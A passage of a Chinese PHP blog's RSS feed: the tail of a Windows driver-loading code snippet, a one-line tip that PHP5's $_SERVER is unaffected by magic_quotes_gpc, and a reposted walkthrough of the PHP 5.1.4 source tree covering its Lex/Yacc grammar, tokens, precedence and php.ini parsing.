#000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(LoadDriver(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">])&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1184.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-08 15:12 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP5 的 magic_quotes_gpc</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/15/324.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 Aug 2006 08:05:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/15/324.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/324.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/15/324.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/324.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/324.html</trackback:ping><description><![CDATA[PHP5的$_SERVER数组对magic_quotes_gpc不受影响,tip之<img src ="http://www.phpweblog.net/GaRY/aggbug/324.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-15 16:05 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/15/324.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP源代码简单分析 [zt]</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 Aug 2006 07:55:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/323.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/323.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/323.html</trackback:ping><description><![CDATA[
		<p>原贴地址: <a href="http://x-space.discuz.net/space/html/95/22195_itemid_14752.html">http://x-space.discuz.net/space/html/95/22195_itemid_14752.html</a><br /><br />当前版本PHP5.1.4</p>
		<p>1. 目录结构 <br />   1. build 和编译有关的目录。 <br />   2. ext 扩展库代码，例如 Mysql、zlib、iconv 等我们熟悉的扩展库。 <br />   3. main 主目录。 <br />   4. sapi 和各种服务器的接口调用，例如apache、IIS等，也包含一般的fastcgi、cgi等。 <br />   5. win32 和 Windows 下编译 PHP 有关的脚本。用了 WSH。 <br />   6. Zend 文件夹核心的引擎。</p>
		<p>2. PHP使用Lex和Yacc对语法进行解析。<br />   在 Zend 目录下有两个文件 zend_language_parser.y 与 zend_language_scanner.l 他们是Lex和Yacc的脚本文件，通过这两个脚本文件生成对应的.c和.h文件，实际上这在 linux 下非常普遍，gcc 也使用它们产生语树。 </p>
		<p>3. PHP如何使用Mysql？<br />   ext 目录下有一个 mysql 子目录，这个目录中的php_mysql.c 和 php_mysql.h 负责 PHP 与 Mysql 操作。使用了 Mysql 手册中的 C 语言 API。 </p>
		<p>4. 安全模式？<br />   main 文件夹下的safe_mode.h 和 safe_mode.c 文件负责PHP的安全模式。<br />5. 那些是 PHP 的标准函数，那些是扩展函数？<br />   ext 目录下英文意思是扩展，而在 ext 下还是有一个 standard 文件夹，存放着 PHP 中的标准函数，例如 explode 这个函数是在 ./ext/standard/string.c 下定义的。<br />6. PHP 源代码中的PHP_FUNCTION(xx) 宏。<br />   这个宏用来检验一个函数名称是否合法。合法的函数名称应该由小写字母及下划线组成。<br />7. 那些函数集是标准的？<br />   通过 ./ext/standard/ 目录我们可以看到以下常用函数集是标准的。字符串函数集、数组函数集、文件及目录操作函数集、md5算法等。<br />8. 一些函数的实现过程<br />   1. fsockopen, pfsockopen 的实现<br />      这两个函数的实现离不开 ./ext/standard/fsock.c 文件中的 php_fsockopen_stream 函数。具体的socket都在./main/network.c 中实现。<br />9. PHP 函数集注册过程<br />   在./main/internal_functions.c 中有一个数组 php_builtin_extensions 默认下有以下成员：<br />   <br />   1. phpext_bcmath_ptr<br />   2. phpext_calendar_ptr<br />   3. phpext_com_dotnet_ptr<br />   4. phpext_ctype_ptr<br />   5. phpext_date_ptr<br />   6. phpext_ftp_ptr<br />   7. phpext_hash_ptr<br />   8. phpext_odbc_ptr<br />   9. phpext_pcre_ptr<br />   10. phpext_reflection_ptr<br />   11. phpext_session_ptr<br />   12. phpext_spl_ptr<br />   13. phpext_standard_ptr<br />   14. phpext_tokenizer_ptr<br />   15. phpext_zlib_ptr<br />   <br />   接着 php_register_extensions(php_builtin_extensions, EXTCOUNT TSRMLS_CC) 进行注册<br />   <br />10. 有趣的Zend LOGO图片<br />       ./main/logos.h 文件中，用 zend_logo 与 php_logo 数组保存了 PHP 标志和 Zend 标志。所以你根本在发行包里找不到zend.gif。<br />11. PHP的语法树？<br />   <br />    1. Lex与Yacc<br />       市面上有这本书。大家可以买来看看，包括GCC都是用它们兄弟生成的语法树。如果对编译器感兴趣。可以翻阅市面上关于这方面的书，并不多就几本。<br />    <br />    2. .l与.y语法树文件<br />       ./Zend/zend_language_scanner.l与./Zend/zend_language_parser.y 规定了PHP的语法。从字面意义上scanner表示语法初步扫描，parser表示语法解析。根据这两个文件lex与yacc可以生成对应的c代码。所以相对来说生成语法是很方便的。<br />   <br />    3. 如何定义一个符号<br />       例如 if($language='php') 这一句中的if 就是一个token 语法中我们用T_IF表示。具体在.l文件中如下定义了：<br />       </p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">       &lt;</span>
				<span style="COLOR: #000000">ST_IN_SCRIPTING</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">if</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> {<br />              </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000"> T_IF;<br />      }<br /></span>
		</div>
		<p>      这样.php文件中的if就会被翻译成内置符号T_IF。’(单引号)被如下定义：<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000">ST_SINGLE_QUOTE</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">] {<br />            BEGIN(ST_IN_SCRIPTING);<br />            return </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">\</span>
				<span style="COLOR: #000000">''</span>
				<span style="COLOR: #000000">;<br />      }<br /></span>
		</div>
		<p>      <br />   4. 复合符号例如最常见的变量命名$discuz_user, $submit 等。<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000">ST_IN_SCRIPTING</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">ST_DOUBLE_QUOTES</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">ST_HEREDOC</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">ST_BACKQUOTE</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">{LABEL} {<br />            zend_copy_value(zendlval</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> (yytext</span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> (yyleng</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">));<br />            zendlval</span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000">type </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #008080">IS_STRING</span>
				<span style="COLOR: #000000">;<br />            </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000"> T_VARIABLE;<br />      }<br /></span>
		</div>
		<p>   <br />   5. 一个有效的if语句过程<br />      这个定义在zend_language_parser.y 189行:<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      T_IF </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> expr </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> {<br />            zend_do_if_cond(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">3</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } statement {<br />            zend_do_if_after_statement(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } elseif_list else_single {<br />            zend_do_if_end(TSRMLS_C);<br />      }<br />      </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> T_IF </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> expr </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">)</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">:</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> {<br />            zend_do_if_cond(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">3</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } inner_statement_list {<br />            zend_do_if_after_statement(</span>
				<span style="COLOR: #000000">&amp;</span>
				<span style="COLOR: #000000">$</span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> TSRMLS_CC);<br />      } new_elseif_list new_else_single T_ENDIF </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">;</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> {<br />            zend_do_if_end(TSRMLS_C);<br />      }<br /></span>
		</div>
		<p>      if 后面必须存在()，圆括弧里面是表达式 expr 表达式在734行被定义：<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      expr:<br />            r_variable { $$ </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> $</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">; }<br />            </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> expr_without_variable { $$ </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> $</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">; }<br />      ;</span>
		</div>
		<p>
				<br />      if 后面可以跟 elseif 语句及 else 语句。<br />      从语法树里面我们看出 if () 后面是可以跟 : 的，这一般很少被使用吧。</p>
		<p>   6. 优先级和左右结合性<br />      一般情况下.y文件中最先定义的操作符优先级相对低，并且可以使用%left、%right 进行描述左右结合性，例如：<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">      </span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">left </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">-</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">
						<br />      </span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">left </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">/</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">
						<br />      </span>
				<span style="COLOR: #000000">%</span>
				<span style="COLOR: #000000">right </span>
				<span style="COLOR: #000000">'</span>
				<span style="COLOR: #000000">!</span>
				<span style="COLOR: #000000">'</span>
		</div>
		<p>
				<br />      这说明'!'在 PHP 语法中是右结合的， '*' '/' '%' '+' '-' '.' 是左结合的，并且'!'的优先级更高<br />      例如语法 !$a + $b 要先计算 !$a 在进行加法操作<br />      %left ',' 被放在最上面定义，说明他的优先级最低，因为我们知道','可以等同一个语句。</p>
		<p>   7. php.ini的解析 </p>
		<p>      1. 如果规定数值正负？<br /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #000000">        </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000"> INITIAL </span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000"> [ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000"> ( </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> true </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> on </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> yes </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> )[ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">  {<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> val  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">  zend_strndup( </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> 1 </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> );<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> len  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000"> ;<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> type  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008080">IS_STRING</span>
				<span style="COLOR: #000000"> ;<br />               </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000">  CFG_TRUE;<br />      }<br /><br />       </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000"> INITIAL </span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000"> [ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000"> ( </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> false </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> off </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> no </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">|</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> none </span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000"> )[ ] </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">  {<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> val  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">  zend_strndup( </span>
				<span style="COLOR: #000000">""</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000"> );<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> value </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> str </span>
				<span style="COLOR: #000000">.</span>
				<span style="COLOR: #000000"> len  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000"> ;<br />              ini_lval </span>
				<span style="COLOR: #000000">-&gt;</span>
				<span style="COLOR: #000000"> type  </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008080">IS_STRING</span>
				<span style="COLOR: #000000"> ;<br />               </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000">  CFG_FALSE;<br />      }</span>
		</div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-15 15:55 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>